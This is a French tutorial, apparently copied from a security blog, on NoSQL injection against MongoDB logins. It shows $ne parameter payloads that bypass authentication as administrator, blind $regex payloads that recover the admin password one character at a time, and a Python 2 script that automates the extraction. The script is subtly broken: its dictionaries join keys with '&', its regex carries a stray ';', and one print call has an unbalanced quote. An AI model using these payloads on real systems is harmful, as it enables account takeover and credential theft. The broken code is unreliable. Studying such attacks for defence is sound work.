**L'Injection NOSQL** Les bases de données NOSQL ont été créées pour répondre aux problèmes de latence des SGBD relationnelles sur de grosses bases. On peut en citer plusieurs telles que: - DynamoDB - MongoDB - Oracle NoSQL Néanmoins, l’apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injection. Pour les NOSQL injections, la porte d’entrée passe par la création d’un tableau pour faire la requête, pour vous expliquer voici comment ça se passe  avec MongoDB: $qry = array("user"= $username,password = $userpassword); **Exploitation:** Selon la documentation MongoDB sur les opérateurs de requête "$ne" correspond à  "Différent de". Nous allons envoyer comme paramètre dans l'url : [[http://monsitefaillible.com/index.php?username[$ne]=isileaks&userpassword[$ne]=lool]] Ce qui traduit en « Pseudo SQL » donne: « WHERE user!=isileaks and password!=lool ». Par défaut nous serons connecté en tant qu'administrateur. __REGEX NOSQL:__ Pour trouver le mot de passe administrateur nous utiliserons la fonction regex avec la méthode blind. Sous MongoDB le "." représente n'importe quel caractère. username[$ne]=isileaks&userpassword[$regex]=.{1} Dans notre exemple nous cherchons à savoir si le mot de passe administrateur fait 1 caractère. Nous allons incrémenter le chiffre entre accolade jusqu'à ce que le "vous êtes connecté en tant qu'admin" disparaisse. On obtient: username[$ne]=isileaks&userpassword[$regex]=.{5} Le mot de passe fait donc 5 caractères. Nous allons faire de même pour trouver les lettres. username[$ne]=isileaks&userpassword[$regex]=p.{4} username[$ne]=isileaks&userpassword[$regex]=pa.{3} username[$ne]=isileaks&userpassword[$regex]=pas.{2} username[$ne]=isileaks&userpassword[$regex]=pass.{1} username[$ne]=isileaks&userpassword[$regex]=passw Le mot de passe est passw. Un petit script python pour automatiser tout cela. #!/usr/bin/env python2 # -*- coding: utf8 -*- import requests page = "http://localhost/NOSQL/" taille=0 while 1: forge=".{"+str(taille)+"};" req={"usr_name[$ne]":"hacker"&"usr_password[$regex]":forge} resultat=requests.post(page,data=req).content print(req) if resultat.find("Bienvenue")==-1 : break taille+=1 taille-=1 print("[+] Le password fait "+str(taille)+ caracteres") passwd="" char=48 length=0 while length!=taille: forge=passwd+str(chr(char))+".{"+str(taille-len(passwd)-1)+"};" req={"usr_name[$ne]":"hacker"&"usr_password[$regex]":forge} resultat=requests.post(page,data=req).content print(req) if resultat.find("Bienvenue")!=-1 : passwd+=str(chr(char)) char=48 length+=1 print(passwd) if char==90: char=96 if char==57: char=64 char+=1 print("[+] Le password est: "+str(passwd)) source : [[https://www.dailysecurity.fr/nosql-injections-classique-blind/]]